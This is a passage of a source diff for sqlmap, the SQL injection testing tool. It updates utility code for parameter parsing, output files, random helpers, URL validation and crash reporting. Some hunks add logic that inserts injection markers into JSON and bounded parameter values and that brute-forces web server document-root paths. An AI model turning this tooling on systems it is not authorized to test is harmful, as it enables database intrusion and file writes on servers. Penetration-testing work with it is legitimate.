+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -15,6 +15,7 @@ import os
 import sys
 import tempfile

+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.exception import SqlmapSystemException
 from lib.core.settings import BIGARRAY_CHUNK_SIZE

@@ -91,7 +92,7 @@ class BigArray(list):

    def _dump(self, chunk):
        try:
-            handle, filename = tempfile.mkstemp()
+            handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
            self.filenames.add(filename)
            os.close(handle)
            with open(filename, "w+b") as fp:
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -23,6 +23,7 @@ import random
 import re
 import socket
 import string
+import subprocess
 import sys
 import tempfile
 import time
@@ -37,8 +38,6 @@ from StringIO import StringIO
 from difflib import SequenceMatcher
 from math import sqrt
 from optparse import OptionValueError
-from subprocess import PIPE
-from subprocess import Popen as execute
 from xml.dom import minidom
 from xml.sax import parse
 from xml.sax import SAXParseException
@@ -72,6 +71,7 @@ from lib.core.enums import EXPECTED
 from lib.core.enums import HEURISTIC_TEST
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.enums import OS
 from lib.core.enums import PLACE
 from lib.core.enums import PAYLOAD
@@ -91,6 +91,7 @@ from lib.core.log import LOGGER_HANDLER
 from lib.core.optiondict import optDict
 from lib.core.settings import BANNER
 from lib.core.settings import BOLD_PATTERNS
+from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES
 from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
 from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK
@@ -102,6 +103,7 @@ from lib.core.settings import DEFAULT_MSSQL_SCHEMA
 from lib.core.settings import DUMMY_USER_INJECTION
 from lib.core.settings import DYNAMICITY_MARK_LENGTH
 from lib.core.settings import ERROR_PARSING_REGEXES
+from lib.core.settings import FILE_PATH_REGEXES
 from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME
 from lib.core.settings import FORM_SEARCH_REGEX
 from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES
@@ -116,6 +118,7 @@ from lib.core.settings import IP_ADDRESS_REGEX
 from lib.core.settings import ISSUES_PAGE
 from lib.core.settings import IS_WIN
 from lib.core.settings import LARGE_OUTPUT_THRESHOLD
+from lib.core.settings import LOCALHOST
 from lib.core.settings import MIN_ENCODED_LEN_CHECK
 from lib.core.settings import MIN_TIME_RESPONSES
 from lib.core.settings import MIN_VALID_DELAYED_RESPONSE
@@ -128,6 +131,7 @@ from lib.core.settings import PARTIAL_VALUE_MARKER
 from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import PLATFORM
 from lib.core.settings import PRINTABLE_CHAR_REGEX
+from lib.core.settings import PUSH_VALUE_EXCEPTION_RETRY_COUNT
 from lib.core.settings import PYVERSION
 from lib.core.settings import REFERER_ALIASES
 from lib.core.settings import REFLECTED_BORDER_REGEX
@@ -136,6 +140,7 @@ from lib.core.settings import REFLECTED_REPLACEMENT_REGEX
 from lib.core.settings import REFLECTED_VALUE_MARKER
 from lib.core.settings import REFLECTIVE_MISS_THRESHOLD
 from lib.core.settings import SENSITIVE_DATA_REGEX
+from lib.core.settings import SENSITIVE_OPTIONS
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import TEXT_TAG_REGEX
 from lib.core.settings import TIME_STDEV_COEFF
@@ -150,6 +155,7 @@ from lib.core.threads import getCurrentThreadData
 from lib.utils.sqlalchemy import _sqlalchemy
 from thirdparty.clientform.clientform import ParseResponse
 from thirdparty.clientform.clientform import ParseError
+from thirdparty.colorama.initialise import init as coloramainit
 from thirdparty.magic import magic
 from thirdparty.odict.odict import OrderedDict
 from thirdparty.termcolor.termcolor import colored
@@ -301,7 +307,7 @@ class Backend:

        # Little precaution, in theory this condition should always be false
        elif kb.dbms is not None and kb.dbms != dbms:
-            warnMsg = "there seems to be a high probability that "
+            warnMsg = "there appears to be a high probability that "
            warnMsg += "this could be a false positive case"
            logger.warn(warnMsg)

@@ -315,6 +321,8 @@ class Backend:
                _ = readInput(msg, default=kb.dbms)

                if aliasToDbmsEnum(_) == kb.dbms:
+                    kb.dbmsVersion = []
+                    kb.resolutionDbms = kb.dbms
                    break
                elif aliasToDbmsEnum(_) == dbms:
                    kb.dbms = aliasToDbmsEnum(_)
@@ -578,7 +586,7 @@ def paramToDict(place, parameters=None):
                if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken):
                    _ = urldecode(testableParameters[parameter], convall=True)
                    if (_.endswith("'") and _.count("'") == 1
-                      or re.search(r'\A9{3,}', _) or re.search(DUMMY_USER_INJECTION, _))\
+                      or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\
                      and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
                        warnMsg = "it appears that you have provided tainted parameter values "
                        warnMsg += "('%s') with most probably leftover " % element
@@ -597,27 +605,78 @@ def paramToDict(place, parameters=None):
                        warnMsg += "so sqlmap could be able to run properly"
                        logger.warn(warnMsg)

-    if conf.testParameter and not testableParameters:
-        paramStr = ", ".join(test for test in conf.testParameter)
+                if place in (PLACE.POST, PLACE.GET):
+                    for regex in (r"\A((?:<[^>]+>)+\w+)((?:<[^>]+>)+)\Z", r"\A([^\w]+.*\w+)([^\w]+)\Z"):
+                        match = re.search(regex, testableParameters[parameter])
+                        if match:
+                            try:
+                                candidates = OrderedDict()

-        if len(conf.testParameter) > 1:
-            warnMsg = "provided parameters '%s' " % paramStr
-            warnMsg += "are not inside the %s" % place
-            logger.warn(warnMsg)
-        else:
-            parameter = conf.testParameter[0]
+                                def walk(head, current=None):
+                                    current = current or head
+                                    if isListLike(current):
+                                        for _ in current:
+                                            walk(head, _)
+                                    elif isinstance(current, dict):
+                                        for key in current.keys():
+                                            value = current[key]
+                                            if isinstance(value, (list, tuple, set, dict)):
+                                                walk(head, value)
+                                            elif isinstance(value, (bool, int, float, basestring)):
+                                                original = current[key]
+                                                if isinstance(value, bool):
+                                                    current[key] = "%s%s" % (str(value).lower(), BOUNDED_INJECTION_MARKER)
+                                                else:
+                                                    current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
+                                                candidates["%s (%s)" % (parameter, key)] = re.sub("(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters)
+                                                current[key] = original

-            if not intersect(USER_AGENT_ALIASES + REFERER_ALIASES + HOST_ALIASES, parameter, True):
-                debugMsg = "provided parameter '%s' " % paramStr
-                debugMsg += "is not inside the %s" % place
-                logger.debug(debugMsg)
+                                deserialized = json.loads(testableParameters[parameter])
+                                walk(deserialized)

-    elif len(conf.testParameter) != len(testableParameters.keys()):
-        for parameter in conf.testParameter:
-            if parameter not in testableParameters:
-                debugMsg = "provided parameter '%s' " % parameter
-                debugMsg += "is not inside the %s" % place
-                logger.debug(debugMsg)
+                                if candidates:
+                                    message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
+                                    message += "is JSON deserializable. Do you want to inject inside? [y/N] "
+                                    test = readInput(message, default="N")
+                                    if test[0] in ("y", "Y"):
+                                        del testableParameters[parameter]
+                                        testableParameters.update(candidates)
+                                    break
+                            except (KeyboardInterrupt, SqlmapUserQuitException):
+                                raise
+                            except Exception:
+                                pass
+
+                            _ = re.sub(regex, "\g<1>%s\g<%d>" % (CUSTOM_INJECTION_MARK_CHAR, len(match.groups())), testableParameters[parameter])
+                            message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
+                            message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % _
+                            test = readInput(message, default="N")
+                            if test[0] in ("y", "Y"):
+                                testableParameters[parameter] = re.sub(regex, "\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])
+                            break
+
+    if conf.testParameter:
+        if not testableParameters:
+            paramStr = ", ".join(test for test in conf.testParameter)
+
+            if len(conf.testParameter) > 1:
+                warnMsg = "provided parameters '%s' " % paramStr
+                warnMsg += "are not inside the %s" % place
+                logger.warn(warnMsg)
+            else:
+                parameter = conf.testParameter[0]
+
+                if not intersect(USER_AGENT_ALIASES + REFERER_ALIASES + HOST_ALIASES, parameter, True):
+                    debugMsg = "provided parameter '%s' " % paramStr
+                    debugMsg += "is not inside the %s" % place
+                    logger.debug(debugMsg)
+
+        elif len(conf.testParameter) != len(testableParameters.keys()):
+            for parameter in conf.testParameter:
+                if parameter not in testableParameters:
+                    debugMsg = "provided parameter '%s' " % parameter
+                    debugMsg += "is not inside the %s" % place
+                    logger.debug(debugMsg)

    if testableParameters:
        for parameter, value in testableParameters.items():
@@ -627,7 +686,7 @@ def paramToDict(place, parameters=None):
                        decoded = value.decode(encoding)
                        if len(decoded) > MIN_ENCODED_LEN_CHECK and all(_ in string.printable for _ in decoded):
                            warnMsg = "provided parameter '%s' " % parameter
-                            warnMsg += "seems to be '%s' encoded" % encoding
+                            warnMsg += "appears to be '%s' encoded" % encoding
                            logger.warn(warnMsg)
                            break
                    except:
@@ -637,8 +696,6 @@ def paramToDict(place, parameters=None):

 def getManualDirectories():
    directories = None
-    pagePath = directoryPath(conf.path)
-
    defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX])

    if kb.absFilePaths:
@@ -656,18 +713,18 @@ def getManualDirectories():
                windowsDriveLetter, absFilePath = absFilePath[:2], absFilePath[2:]
                absFilePath = ntToPosixSlashes(posixToNtSlashes(absFilePath))

-            if any("/%s/" % _ in absFilePath for _ in GENERIC_DOC_ROOT_DIRECTORY_NAMES):
-                for _ in GENERIC_DOC_ROOT_DIRECTORY_NAMES:
-                    _ = "/%s/" % _
+            for _ in list(GENERIC_DOC_ROOT_DIRECTORY_NAMES) + [conf.hostname]:
+                _ = "/%s/" % _

-                    if _ in absFilePath:
-                        directories = "%s%s" % (absFilePath.split(_)[0], _)
-                        break
+                if _ in absFilePath:
+                    directories = "%s%s" % (absFilePath.split(_)[0], _)
+                    break

-            if pagePath and pagePath in absFilePath:
-                directories = absFilePath.split(pagePath)[0]
-                if windowsDriveLetter:
-                    directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories))
+            if not directories and conf.path.strip('/') and conf.path in absFilePath:
+                directories = absFilePath.split(conf.path)[0]
+
+            if directories and windowsDriveLetter:
+                directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories))

    directories = normalizePath(directories)

@@ -675,7 +732,7 @@ def getManualDirectories():
        infoMsg = "retrieved the web server document root: '%s'" % directories
        logger.info(infoMsg)
    else:
-        warnMsg = "unable to retrieve automatically the web server "
+        warnMsg = "unable to automatically retrieve the web server "
        warnMsg += "document root"
        logger.warn(warnMsg)

@@ -714,9 +771,14 @@ def getManualDirectories():

                for suffix in BRUTE_DOC_ROOT_SUFFIXES:
                    for target in targets:
-                        item = "%s/%s" % (prefix, suffix)
+                        if not prefix.endswith("/%s" % suffix):
+                            item = "%s/%s" % (prefix, suffix)
+                        else:
+                            item = prefix
+
                        item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/')
-                        directories.append(item)
+                        if item not in directories:
+                            directories.append(item)

                        if BRUTE_DOC_ROOT_TARGET_MARK not in prefix:
                            break
@@ -752,11 +814,6 @@ def getAutoDirectories():
        warnMsg = "unable to automatically parse any web server path"
        logger.warn(warnMsg)

-    _ = extractRegexResult(r"//[^/]+?(?P<result>/.*)/", conf.url)  # web directory
-
-    if _:
-        retVal.add(_)
-
    return list(retVal)

 def filePathToSafeString(filePath):
@@ -829,12 +886,12 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
            else:
                message = data

-            if hasattr(conf, "api"):
-                sys.stdout.write(message, status, content_type)
-            else:
-                sys.stdout.write(setColor(message, bold))
-
            try:
+                if hasattr(conf, "api"):
+                    sys.stdout.write(message, status, content_type)
+                else:
+                    sys.stdout.write(setColor(message, bold))
+
                sys.stdout.flush()
            except IOError:
                pass
@@ -870,20 +927,30 @@ def dataToDumpFile(dumpFile, data):
        else:
            raise

-
 def dataToOutFile(filename, data):
    retVal = None

    if data:
-        retVal = os.path.join(conf.filePath, filePathToSafeString(filename))
+        while True:
+            retVal = os.path.join(conf.filePath, filePathToSafeString(filename))

-        try:
-            with open(retVal, "w+b") as f:
-                f.write(data)
-        except IOError, ex:
-            errMsg = "something went wrong while trying to write "
-            errMsg += "to the output file ('%s')" % getSafeExString(ex)
-            raise SqlmapGenericException(errMsg)
+            try:
+                with open(retVal, "w+b") as f:  # has to stay as non-codecs because data is raw ASCII encoded data
+                    f.write(unicodeencode(data))
+            except UnicodeEncodeError, ex:
+                _ = normalizeUnicode(filename)
+                if filename != _:
+                    filename = _
+                else:
+                    errMsg = "couldn't write to the "
+                    errMsg += "output file ('%s')" % getSafeExString(ex)
+                    raise SqlmapGenericException(errMsg)
+            except IOError, ex:
+                errMsg = "something went wrong while trying to write "
+                errMsg += "to the output file ('%s')" % getSafeExString(ex)
+                raise SqlmapGenericException(errMsg)
+            else:
+                break

    return retVal

@@ -949,9 +1016,13 @@ def readInput(message, default=None, checkBatch=True):
                retVal = raw_input() or default
                retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
            except:
-                time.sleep(0.05)  # Reference: http://www.gossamer-threads.com/lists/python/python/781893
-                kb.prependFlag = True
-                raise SqlmapUserQuitException
+                try:
+                    time.sleep(0.05)  # Reference: http://www.gossamer-threads.com/lists/python/python/781893
+                except:
+                    pass
+                finally:
+                    kb.prependFlag = True
+                    raise SqlmapUserQuitException

            finally:
                logging._releaseLock()
@@ -967,7 +1038,12 @@ def randomRange(start=0, stop=1000, seed=None):
    423
    """

-    randint = random.WichmannHill(seed).randint if seed is not None else random.randint
+    if seed is not None:
+        _ = getCurrentThreadData().random
+        _.seed(seed)
+        randint = _.randint
+    else:
+        randint = random.randint

    return int(randint(start, stop))

@@ -980,7 +1056,12 @@ def randomInt(length=4, seed=None):
    874254
    """

-    choice = random.WichmannHill(seed).choice if seed is not None else random.choice
+    if seed is not None:
+        _ = getCurrentThreadData().random
+        _.seed(seed)
+        choice = _.choice
+    else:
+        choice = random.choice

    return int("".join(choice(string.digits if _ != 0 else string.digits.replace('0', '')) for _ in xrange(0, length)))

@@ -993,7 +1074,12 @@ def randomStr(length=4, lowercase=False, alphabet=None, seed=None):
    'RNvnAv'
    """

-    choice = random.WichmannHill(seed).choice if seed is not None else random.choice
+    if seed is not None:
+        _ = getCurrentThreadData().random
+        _.seed(seed)
+        choice = _.choice
+    else:
+        choice = random.choice

    if alphabet:
        retVal = "".join(choice(alphabet) for _ in xrange(0, length))
@@ -1022,14 +1108,17 @@ def getHeader(headers, key):
            break
    return retVal

-def checkFile(filename):
+def checkFile(filename, raiseOnError=True):
    """
    Checks for file existence and readability
    """

    valid = True

-    if filename is None or not os.path.isfile(filename):
+    try:
+        if filename is None or not os.path.isfile(filename):
+            valid = False
+    except UnicodeError:
        valid = False

    if valid:
@@ -1039,18 +1128,25 @@ def checkFile(filename):
        except:
            valid = False

-    if not valid:
+    if not valid and raiseOnError:
        raise SqlmapSystemException("unable to read file '%s'" % filename)

+    return valid
+
 def banner():
    """
    This function prints sqlmap banner with its version
    """

-    _ = BANNER
-    if not getattr(LOGGER_HANDLER, "is_tty", False):
-        _ = re.sub("\033.+?m", "", _)
-    dataToStdout(_, forceOutput=True)
+    if not any(_ in sys.argv for _ in ("--version", "--pickled-options")):
+        _ = BANNER
+
+        if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
+            _ = re.sub("\033.+?m", "", _)
+        elif IS_WIN:
+            coloramainit()
+
+        dataToStdout(_, forceOutput=True)

 def parsePasswordHash(password):
    """
@@ -1091,11 +1187,13 @@ def cleanQuery(query):

    return retVal

-def setPaths():
+def setPaths(rootPath):
    """
    Sets absolute paths for project directories and files
    """

+    paths.SQLMAP_ROOT_PATH = rootPath
+
    # sqlmap paths
    paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
    paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "procs")
@@ -1109,7 +1207,8 @@ def setPaths():
    paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")

    _ = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
-    paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding())
+    paths.SQLMAP_HOME_PATH = _
+    paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
    paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
    paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")

@@ -1118,6 +1217,7 @@ def setPaths():
    paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst")
    paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst")
    paths.GITHUB_HISTORY = os.path.join(_, "github.hst")
+    paths.CHECKSUM_MD5 = os.path.join(paths.SQLMAP_TXT_PATH, "checksum.md5")
    paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
    paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
    paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
@@ -1160,7 +1260,7 @@ def parseTargetDirect():
    remote = False

    for dbms in SUPPORTED_DBMS:
-        details = re.search("^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>.+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I)
+        details = re.search("^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I)

        if details:
            conf.dbms = details.group("dbms")
@@ -1242,7 +1342,7 @@ def parseTargetDirect():
                else:
                    errMsg = "sqlmap requires '%s' third-party library " % data[1]
                    errMsg += "in order to directly connect to the DBMS "
-                    errMsg += "%s. You can download it from '%s'" % (dbmsName, data[2])
+                    errMsg += "'%s'. You can download it from '%s'" % (dbmsName, data[2])
                    errMsg += ". Alternative is to use a package 'python-sqlalchemy' "
                    errMsg += "with support for dialect '%s' installed" % data[3]
                    raise SqlmapMissingDependence(errMsg)
@@ -1296,8 +1396,8 @@ def parseTargetUrl():
    except UnicodeError:
        _ = None

-    if any((_ is None, re.search(r'\s', conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'))):
-        errMsg = "invalid target URL"
+    if any((_ is None, re.search(r'\s', conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
+        errMsg = "invalid target URL ('%s')" % originalUrl
        raise SqlmapSyntaxException(errMsg)

    if len(hostnamePort) == 2:
@@ -1311,12 +1411,19 @@ def parseTargetUrl():
    else:
        conf.port = 80

-    if urlSplit.query:
-        conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
+    if conf.port < 0 or conf.port > 65535:
+        errMsg = "invalid target URL's port (%d)" % conf.port
+        raise SqlmapSyntaxException(errMsg)

    conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
    conf.url = conf.url.replace(URI_QUESTION_MARKER, '?')

+    if urlSplit.query:
+        if '=' not in urlSplit.query:
+            conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query))
+        else:
+            conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
+
    if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
        debugMsg = "setting the HTTP Referer header to the target URL"
        logger.debug(debugMsg)
@@ -1446,7 +1553,7 @@ def parseFilePaths(page):
    """

    if page:
-        for regex in (r" in <b>(?P<result>.*?)</b> on line", r"(?:>|\s)(?P<result>[A-Za-z]:[\\/][\w.\\/]*)", r"(?:>|\s)(?P<result>/\w[/\w.]+)"):
+        for regex in FILE_PATH_REGEXES:
            for match in re.finditer(regex, page):
                absFilePath = match.group("result").strip()
                page = page.replace(absFilePath, "")
@@ -1781,7 +1888,7 @@ def getConsoleWidth(default=80):
                FNULL = open(os.devnull, 'w')
            except IOError:
                FNULL = None
-            process = execute("stty size", shell=True, stdout=PIPE, stderr=FNULL or PIPE)
+            process = subprocess.Popen("stty size", shell=True, stdout=subprocess.PIPE, stderr=FNULL or subprocess.PIPE)
            stdout, _ = process.communicate()
            items = stdout.split()

@@ -1822,7 +1929,7 @@ def parseXmlFile(xmlFile, handler):
        with contextlib.closing(StringIO(readCachedFileContent(xmlFile))) as stream:
            parse(stream, handler)
    except (SAXParseException, UnicodeError), ex:
-        errMsg = "something seems to be wrong with "
+        errMsg = "something appears to be wrong with "
        errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex))
        errMsg += "sure that you haven't made any changes to it"
        raise SqlmapInstallationException, errMsg
@@ -1880,8 +1987,8 @@ def readCachedFileContent(filename, mode='rb'):
            if filename not in kb.cache.content:
                checkFile(filename)
                try:
-	                with openFile(filename, mode) as f:
-	                    kb.cache.content[filename] = f.read()
+                    with openFile(filename, mode) as f:
+                        kb.cache.content[filename] = f.read()
                except (IOError, OSError, MemoryError), ex:
                    errMsg = "something went wrong while trying "
                    errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex))
@@ -2128,10 +2235,6 @@ def getUnicode(value, encoding=None, noneToNull=False):
    if noneToNull and value is None:
        return NULL

-    if isListLike(value):
-        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
-        return value
-
    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
@@ -2143,6 +2246,9 @@ def getUnicode(value, encoding=None, noneToNull=False):
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
+    elif isListLike(value):
+        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
+        return value
    else:
        try:
            return unicode(value)
@@ -2183,7 +2289,22 @@ def pushValue(value):
    Push value to the stack (thread dependent)
    """

-    getCurrentThreadData().valueStack.append(copy.deepcopy(value))
+    _ = None
+    success = False
+
+    for i in xrange(PUSH_VALUE_EXCEPTION_RETRY_COUNT):
+        try:
+            getCurrentThreadData().valueStack.append(copy.deepcopy(value))
+            success = True
+            break
+        except Exception, ex:
+            _ = ex
+
+    if not success:
+        getCurrentThreadData().valueStack.append(None)
+
+        if _:
+            raise _

 def popValue():
    """
@@ -2291,6 +2412,32 @@ def extractErrorMessage(page):

    return retVal

+def findLocalPort(ports):
+    """
+    Find the first opened localhost port from a given list of ports (e.g. for Tor port checks)
+    """
+
+    retVal = None
+
+    for port in ports:
+        try:
+            try:
+                s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM)
+            except AttributeError:
+                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            s.connect((LOCALHOST, port))
+            retVal = port
+            break
+        except socket.error:
+            pass
+        finally:
+            try:
+                s.close()
+            except socket.error:
+                pass
+
+    return retVal
+
 def findMultipartPostBoundary(post):
    """
    Finds value for a boundary parameter in given multipart POST body
@@ -2445,6 +2592,7 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg):
 def getPageTemplate(payload, place):  # Cross-linked function
    raise NotImplementedError

+@cachedmethod
 def getPublicTypeMembers(type_, onlyValues=False):
    """
    Useful for getting members from types (e.g. in enums)
@@ -2453,12 +2601,16 @@ def getPublicTypeMembers(type_, onlyValues=False):
    ['Linux', 'Windows']
    """

+    retVal = []
+
    for name, value in inspect.getmembers(type_):
        if not name.startswith('__'):
            if not onlyValues:
-                yield (name, value)
+                retVal.append((name, value))
            else:
-                yield value
+                retVal.append(value)
+
+    return retVal

 def enumValueToNameLookup(type_, value_):
    """
@@ -2762,7 +2914,7 @@ def setOptimize():
    conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))

    if not conf.nullConnection:
-        debugMsg = "turning off --null-connection switch used indirectly by switch -o"
+        debugMsg = "turning off switch '--null-connection' used indirectly by switch '-o'"
        logger.debug(debugMsg)

 def initTechnique(technique=None):
@@ -2917,7 +3069,7 @@ def showHttpErrorCodes():
            msg += "could mean that some kind of protection is involved (e.g. WAF)"
            logger.debug(msg)

-def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", buffering=1):
+def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", buffering=1):  # "buffering=1" means line buffered (Reference: http://stackoverflow.com/a/3168436)
    """
    Returns file handle of a given filename
    """
@@ -2950,7 +3102,10 @@ def decodeIntToUnicode(value):
                    _ = "0%s" % _
                raw = hexdecode(_)

-                if Backend.isDbms(DBMS.MSSQL):
+                if Backend.isDbms(DBMS.MYSQL):
+                    # https://github.com/sqlmapproject/sqlmap/issues/1531
+                    retVal = getUnicode(raw, conf.charset or UNICODE_ENCODING)
+                elif Backend.isDbms(DBMS.MSSQL):
                    retVal = getUnicode(raw, "UTF-16-BE")
                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE):
                    retVal = unichr(value)
@@ -2963,6 +3118,24 @@ def decodeIntToUnicode(value):

    return retVal

+def checkIntegrity():
+    """
+    Checks integrity of code files during the unhandled exceptions
+    """
+
+    logger.debug("running code integrity check")
+
+    retVal = True
+    for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
+        path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _))
+        if not os.path.isfile(path):
+            logger.error("missing file detected '%s'" % path)
+            retVal = False
+        elif hashlib.md5(open(path, 'rb').read()).hexdigest() != checksum:
+            logger.error("wrong checksum of file '%s' detected" % path)
+            retVal = False
+    return retVal
+
 def unhandledExceptionMessage():
    """
    Returns detailed message about occurred unhandled exception
@@ -2981,7 +3154,16 @@ def unhandledExceptionMessage():
    errMsg += "Operating system: %s\n" % PLATFORM
    errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
    errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
-    errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms())
+    errMsg += "Back-end DBMS:"
+
+    if Backend.getDbms() is not None:
+        errMsg += " %s (fingerprinted)" % Backend.getDbms()
+
+    if Backend.getIdentifiedDbms() is not None and (Backend.getDbms() is None or Backend.getIdentifiedDbms() != Backend.getDbms()):
+        errMsg += " %s (identified)" % Backend.getIdentifiedDbms()
+
+    if not errMsg.endswith(')'):
+        errMsg += " None"

    return errMsg

@@ -3019,13 +3201,28 @@ def createGithubIssue(errMsg, excMsg):
        ex = None
        errMsg = errMsg[errMsg.find("\n"):]

+        req = urllib2.Request(url="https://api.github.com/search/issues?q=%s" % urllib.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key))
+
+        try:
+            content = urllib2.urlopen(req).read()
+            _ = json.loads(content)
+            duplicate = _["total_count"] > 0
+            closed = duplicate and _["items"][0]["state"] == "closed"
+            if duplicate:
+                warnMsg = "issue seems to be already reported"
+                if closed:
+                    warnMsg += " and resolved. Please update to the latest "
+                    warnMsg += "development version from official GitHub repository at '%s'" % GIT_PAGE
+                logger.warn(warnMsg)
+                return
+        except:
+            pass

        data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)}
        req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")})

        try:
-            f = urllib2.urlopen(req)
-            content = f.read()
+            content = urllib2.urlopen(req).read()
        except Exception, ex:
            content = None

@@ -3054,7 +3251,7 @@ def maskSensitiveData(msg):

    retVal = getUnicode(msg)

-    for item in filter(None, map(lambda x: conf.get(x), ("hostname", "data", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile"))):
+    for item in filter(None, map(lambda x: conf.get(x), SENSITIVE_OPTIONS)):
